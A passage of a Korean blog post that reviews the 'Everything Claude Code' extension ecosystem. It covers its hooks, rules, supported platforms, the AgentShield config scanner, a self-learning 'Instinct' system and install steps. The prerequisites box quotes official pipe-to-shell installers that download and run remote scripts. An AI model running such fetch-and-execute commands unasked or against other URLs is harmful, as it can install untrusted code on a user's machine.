&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;모든 훅은 &lt;code&gt;run-with-flags.js&lt;/code&gt;를 통해 실행되며, &lt;code&gt;ECC_HOOK_PROFILE&lt;/code&gt; 환경변수(&lt;code&gt;minimal&lt;/code&gt; / &lt;code&gt;standard&lt;/code&gt; / &lt;code&gt;strict&lt;/code&gt;)에 따라 활성화 여부가 결정된다. 팀이나 프로젝트 상황에 맞게 훅 강도를 조절할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Rules &amp;mdash; 12개 언어/생태계 규칙&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공통 규칙(&lt;code&gt;rules/common/&lt;/code&gt;)과 언어별 규칙이 분리되어 있다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;공통:&lt;/b&gt; security.md, coding-style.md, git-workflow.md, testing.md, performance.md, patterns.md, hooks.md, agents.md&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;언어/생태계별:&lt;/b&gt; TypeScript, Python, Go, Swift, PHP, Java, Kotlin, C++, Rust, Perl 등 폭넓은 규칙 세트를 제공한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5: 크로스 플랫폼 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 크로스 플랫폼 지원&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ECC의 특징 중 하나는 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;여러 AI 코딩 하네스를 가로지르는 설정/워크플로우를 제공&lt;/b&gt;&lt;/span&gt;한다는 점이다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;플랫폼&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설정 디렉토리&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;비고&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Claude Code&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;.claude/&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;주요 타깃. 플러그인 시스템 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Codex (OpenAI)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;.codex/&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;AGENTS.md, agents/, config.toml&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Cursor IDE&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;.cursor/&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;hooks, rules, skills&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;OpenCode&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;.opencode/&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;12 에이전트, 24 커맨드, 16 스킬, 3 네이티브 도구&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Gemini CLI&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;.gemini/&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;실험적 project-local 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Antigravity&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;--target antigravity&lt;/code&gt; 플래그&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6: AgentShield --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. AgentShield &amp;mdash; 보안 스캐너&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AgentShield는 Cerebral Valley x Anthropic 해커톤에서 탄생한 독립 npm 패키지(&lt;code&gt;ecc-agentshield&lt;/code&gt;)다. AI 에이전트 설정의 보안 취약점을 스캔한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1498&quot; data-origin-height=&quot;794&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZqnmW/dJMcadnXvKQ/S1q5ZIKANQE6vMQABUukFK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZqnmW/dJMcadnXvKQ/S1q5ZIKANQE6vMQABUukFK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZqnmW/dJMcadnXvKQ/S1q5ZIKANQE6vMQABUukFK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZqnmW%2FdJMcadnXvKQ%2FS1q5ZIKANQE6vMQABUukFK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1498&quot; height=&quot;794&quot; data-origin-width=&quot;1498&quot; data-origin-height=&quot;794&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;주요 기능&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;5개 스캔 카테고리:&lt;/b&gt; 시크릿 탐지(14개 패턴), 권한 감사, 훅 인젝션 분석, MCP 서버 위험 프로파일링, 에이전트 설정 검토&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;102개 정적 분석 규칙&lt;/b&gt;과 &lt;b&gt;1,282개 테스트&lt;/b&gt; (98% 커버리지)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;--opus 플래그:&lt;/b&gt; 3개의 Claude Opus 에이전트가 레드팀/블루팀/감사자 파이프라인으로 심층 분석&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;CI 통합:&lt;/b&gt; 치명적 발견 시 종료 코드 2를 반환하여 빌드 게이트로 사용 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;사용법&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 기본 스캔
npx ecc-agentshield scan

# 자동 수정 포함 스캔
npx ecc-agentshield scan --fix

# Opus 에이전트 심층 분석
npx ecc-agentshield scan --opus

# 프로젝트 초기화
npx ecc-agentshield init&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;출력 형식은 터미널(A~F 등급), JSON(CI용), Markdown, HTML을 지원한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7: 토큰 최적화 &amp; Continuous Learning --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 토큰 최적화 &amp;amp; Continuous Learning&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Instinct 시스템 (Continuous Learning v2)&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1534&quot; data-origin-height=&quot;830&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/emEoZd/dJMcahRrUUX/xh5gbn2kbAiutUD94hiaQ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/emEoZd/dJMcahRrUUX/xh5gbn2kbAiutUD94hiaQ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/emEoZd/dJMcahRrUUX/xh5gbn2kbAiutUD94hiaQ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FemEoZd%2FdJMcahRrUUX%2Fxh5gbn2kbAiutUD94hiaQ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1534&quot; height=&quot;830&quot; data-origin-width=&quot;1534&quot; data-origin-height=&quot;830&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ECC의 자가 학습 시스템은 &lt;b&gt;Instinct&lt;/b&gt; 개념을 중심으로 작동한다:&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;PreToolUse/PostToolUse 훅(&lt;code&gt;observe.sh&lt;/code&gt;)이 도구 사용 패턴을 캡처한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;캡처된 패턴은 신뢰도 점수(0.3~0.9)와 도메인 태그(code-style, testing, git 등)를 가진 &quot;Instinct&quot;로 저장된다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;프로젝트별로 스코핑되어(git remote URL 해시 기반) 프로젝트 간 오염을 방지한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code&gt;/evolve&lt;/code&gt; 명령어로 축적된 Instinct들을 클러스터링하여 새로운 스킬/커맨드/에이전트로 진화시킨다&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;관련 명령어&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code&gt;/instinct-status&lt;/code&gt; &amp;mdash; 현재 학습된 Instinct 조회&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code&gt;/evolve&lt;/code&gt; &amp;mdash; Instinct를 스킬로 진화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code&gt;/instinct-export&lt;/code&gt; / &lt;code&gt;/instinct-import&lt;/code&gt; &amp;mdash; 팀 간 공유&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code&gt;/promote&lt;/code&gt; &amp;mdash; 프로젝트 스코프에서 글로벌로 승격&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code&gt;/prune&lt;/code&gt; &amp;mdash; 만료된 Instinct 정리&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;컨텍스트 관리 전략&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1572&quot; data-origin-height=&quot;862&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5BVV7/dJMcad2xJen/35eAkng86xlRP2Z1cRcsn0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5BVV7/dJMcad2xJen/35eAkng86xlRP2Z1cRcsn0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5BVV7/dJMcad2xJen/35eAkng86xlRP2Z1cRcsn0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5BVV7%2FdJMcad2xJen%2F35eAkng86xlRP2Z1cRcsn0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1572&quot; height=&quot;862&quot; data-origin-width=&quot;1572&quot; data-origin-height=&quot;862&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ECC가 제안하는 컨텍스트 최적화 방법:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;세션 파일 패턴:&lt;/b&gt; 진행 상황을 &lt;code&gt;.claude/&lt;/code&gt; 폴더의 임시 파일에 저장하고 다음 세션에서 로딩&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;전략적 컴팩션:&lt;/b&gt; 자동 컴팩션을 비활성화하고, 논리적 구간에서 수동으로 &lt;code&gt;/compact&lt;/code&gt; 실행&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;메모리 퍼시스턴스 훅:&lt;/b&gt; PreCompact(상태 저장), Stop(학습 지속), SessionStart(컨텍스트 로딩)로 세션 간 연속성 보장&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;MCP를 CLI로 대체:&lt;/b&gt; 토큰 비용 절감을 위해 MCP 대신 CLI 래퍼 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8: 설치 가이드 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 설치 및 시작 가이드&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;전제 조건&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;ECC는 Claude Code 위에 얹는 확장 생태계다. &lt;b&gt;Claude Code가 먼저 설치&lt;/b&gt;되어 있어야 하며, 현재 공식 문서는 macOS/Linux/WSL에서 &lt;code&gt;curl -fsSL https://claude.ai/install.sh | bash&lt;/code&gt;, Windows PowerShell에서 &lt;code&gt;irm https://claude.ai/install.ps1 | iex&lt;/code&gt;, 또는 Homebrew/WinGet 설치를 안내한다. 계정은 보통 Claude 구독 또는 Anthropic Console 계정이 필요하며, Terminal CLI와 VS Code는 third-party provider도 지원한다. 개인 요금제는 현재 Pro 월 $20(연간 결제 시 월 환산 $17), Max 월 $100부터다. ECC 자체는 &lt;b&gt;무료(MIT 라이선스)&lt;/b&gt;다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ECC는 4가지 설치 방법을 제공한다. 제작자가 가장 권장하는 방법은 &lt;b&gt;플러그인 설치&lt;/b&gt;다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1514&quot; data-origin-height=&quot;822&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1Soiy/dJMcahDT7SW/wHb56hu2F1lI5KaxwAEKfK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1Soiy/dJMcahDT7SW/wHb56hu2F1lI5KaxwAEKfK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1Soiy/dJMcahDT7SW/wHb56hu2F1lI5KaxwAEKfK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1Soiy%2FdJMcahDT7SW%2FwHb56hu2F1lI5KaxwAEKfK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1514&quot; height=&quot;822&quot; data-origin-width=&quot;1514&quot; data-origin-height=&quot;822&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;방법 1: 플러그인 (권장)&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# Claude Code 마켓플레이스에서 추가
/plugin marketplace add affaan-m/everything-claude-code
/plugin install everything-claude-code@everything-claude-code&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주의&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;플러그인 시스템의 제한으로, &lt;b&gt;Rules는 수동 설치&lt;/b&gt;가 필요하다. &lt;code&gt;rules/&lt;/code&gt; 디렉토리를 &lt;code&gt;~/.claude/rules/&lt;/code&gt;에 직접 복사해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;방법 2: npm&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 언어 지정 설치 (두 가지 형식 모두 가능)
npx ecc typescript
npx ecc-install typescript
npx ecc python golang swift php&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;방법 3: 셸 스크립트&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 저장소 클론 후 설치
git clone https://github.com/affaan-m/everything-claude-code.git
cd everything-claude-code
./install.sh typescript python golang

# Cursor 대상 설치
./install.sh --target cursor typescript&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;방법 4: 수동 설치&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;저장소를 클론한 뒤 필요한 디렉토리(&lt;code&gt;agents/&lt;/code&gt;, &lt;code&gt;commands/&lt;/code&gt;, &lt;code&gt;skills/&lt;/code&gt;, &lt;code&gt;rules/&lt;/code&gt;)를 &lt;code&gt;~/.claude/&lt;/code&gt;에 직접 복사한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;프로파일 선택&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;설치 시 5개 프로파일 중 선택할 수 있다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;프로파일&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;포함 내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Core&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;규칙, 에이전트, 명령어, 훅, 플랫폼 설정, 품질 워크플로우&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Developer&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Core + 프레임워크 언어, 데이터베이스, 오케스트레이션&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Security&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Core + 전용 보안 모듈&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Research&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Core + 리서치 API, 비즈니스 콘텐츠, 소셜 배포&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Full&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;전체 19개 모듈 포함&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;설치 팁&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;처음부터 모든 기능을 설치하기보다, &lt;b&gt;주로 사용하는 언어의 에이전트와 스킬만 먼저 선택적으로 설치&lt;/b&gt;하는 것을 권장한다. Shortform Guide를 가장 먼저 읽으면 전체 구조를 잡는 데 도움이 된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9: 실전 활용 팁 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 실전 활용 팁&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;병렬 작업 패턴&lt;/h3&gt;
